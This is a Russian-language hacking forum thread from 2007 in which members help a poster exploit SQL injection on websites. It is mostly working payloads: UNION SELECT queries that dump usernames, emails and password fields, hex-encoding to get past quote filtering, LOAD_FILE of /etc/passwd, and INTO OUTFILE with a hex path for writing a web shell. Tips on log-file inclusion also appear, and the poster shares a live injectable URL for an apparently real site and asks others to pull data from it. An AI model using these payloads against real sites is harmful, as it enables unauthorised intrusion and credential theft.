Как быть?(MySQL)

Discussion in 'PHP' started by OneMiay, 4 Jul 2007.

  1. OneMiay

    OneMiay Elder - Старейшина

    Joined:
    4 Jun 2006
    Messages:
    31
    Likes Received:
    36
    Reputations:
    9
    Вообщем всем привет, есть пару вопросов очень надеюсь на вашу помощь…
    Имеем к примеру SQL-inj на сайте типа:
    bagsql.ru/index.php?id=-1+union+select+1,2,3/*
    Выводится 2-ечка, есть возможность посмотреть VERSION() USER() и т.д, но фильтруются символы, пробовал CHAR() текст выводится , но вопрос заключается в том что я 100% уверен что там есть таблица users в которой присутствуют usid, email, usname, uspwd дак вот составляя такой вот запрос:
    bagsql.ru/index.php?id=-1+union+select+1,usname,3+from+users/*
    Получаю ошибку… Мне кажется что это из-за фильтра… хотя хз… Посоветуйте как быть, PlizZZe.
    Ещё возник один вопросик, если я не могу выполнить LOAD_FILE() //пробовал даже кодировать через CHAR(), то выполнится ли OUTFILE? И можно ли тоже использовать кодирование?
    И на последок малёк ОФФтоп. Есть инкулуд, могу читать passwd, нет прав на shadow, куда ещё можно залезть для поиска хешей? Если не трудно то напишите плиз пути.
    //Слышал что можно в логах нарыть пассы, реально ли?
    Всем спасибо, кто чем поможет, с меня репа.
     
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Code:
    http://www.bagsql.ru/index.php?id=-1+union+select+1,concat_ws(0x3b,usid,email,usname,uspwd)+from+mysql.users+limit+1,1/*
    Экранирование кавычек - маленький шанс что зальешь шелл т.к. указать путь будет очень сложно =\
     
  3. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    Isis, concat_ws(0x3b,usid,email,usname, uspwd) и mysql.users o_O :-| ?
     
  4. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    2 автор: может ссылку норм дашь? :)
    т.е. цифры выводятся, символы - нет
    может проблема в кодировке?
    bagsql.ru/index.php?id=-1+union+select+1,convert(usname+using+cp1251),3+from+users/*]
    вместо cp1251 - кодировка.
     
    1 person likes this.
  5. Серенький

    Joined:
    13 Apr 2007
    Messages:
    112
    Likes Received:
    145
    Reputations:
    83
    либо поуниверсальнее можешь ввести

    bagsql.ru/index.php?id=-1+union+select+1,aes_decrypt(aes_encrypt(usname,0x55),0x55),3+from+users/*

    или как nitrox говорит.
     
  6. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    попробуй проинклудить логи апача, предварительно нужно послать запрос на сервер, тема уже поднималась
     
  7. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Ссылку в студию. Sql иньекция- такая вещь, с которй надо работать на месте, разбиратся с конкретным случаем
     
  8. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Isis насчет кавчек бред =))

    если есть файл прив, то нас спасает кодирование в base64

    то есть у нас есть LOAD_FILE('/etc/passwd'), кодируем /etc/passwd И получаем 2f 65 74 63 2f 70 61 73 73 77 64, то бишь LOAD_FILE(0x2f6574632f706173737764)

    также поступаем во всех местах где юзаются кавычки.. например запрос ..
    ./index.php?id=-31337+union+select+username,2,3,4,5+from+users+where+group='admin'/*

    опять же admin = 61 64 6d 69 6e

    ./index.php?id=-31337+union+select+username,2,3,4,5+from+users+where+group=0x61646d696e/*

    и тд..
     
  9. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    br, как ты укажешь путь в base64?
    Например
    Code:
    select+1,2+from+mysql.users+into+outfile+'/home/usr1/www/'/*
    Как ты здесь путь в base64 декодируешь??Нифига не получиться =)
     
  10. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Какой еще бэйсшиссятчитыре , это хекс :)
     
  11. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Outfile/dumpfile требует указания имени файла ТОЛЬКО в ковычках
     
    2 people like this.
  12. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Во-первых: не base64, a hex.
    Во-вторых:

    Code:
    select+1,2+from+mysql.users+into+outfile+0x2f686f6d652f757372312f7777772f /*
    
    У мну на пятом мускуле при задании outfile таким образом отработало на ура.
     
  13. OneMiay

    OneMiay Elder - Старейшина

    Joined:
    4 Jun 2006
    Messages:
    31
    Likes Received:
    36
    Reputations:
    9
    Спасиб, узнал много интересного, но это для общего развития, на самом деле там был приведён простой банальный пример, в котором я показал проблемы с которыми столкнулся, т.е реальный сайтик имеет MySQL-inj но она не видимая вот собственно линк где всё можно увидеть сомаму
    http://333.by/newsdet.php?nid=2+and+1=0+union+select+1,2,3,VERSION(),5,6,7,8,9,10/*
    Если кто сможет что-нить реальное вытянуть отпишите плиз в личку или сюда. А то я так понимаю этот нюанс спорный и всем будет интересно узнать как же быть.
    Ещё до конца не раскрыт вопрос OUTFILE… Но щя попробую за_hex_ить адресок и гляну получится или нет.
    ЗЫ: Ni0x, пасиб, нашёл топик щя тож буду пробовать!
     
  14. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Здесь нет прав, единственное что можешь сделать это вытянуть логин и пароль админа(если таковой есть) и уже в админке смотреть какие скрипты есть..
     
  15. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Если есть привелегии обойти не проблема.
     
  16. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Нефига подобного Читай манулалы по 5 скулю.
    Пример Helios тебе таму подтвержнеие сам.
     
  17. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Это в пятом , я до сих пор в четвертом и мануал по четвертому читал %) Пятая стоит на меньшем кол-ве серверов
     
Loading...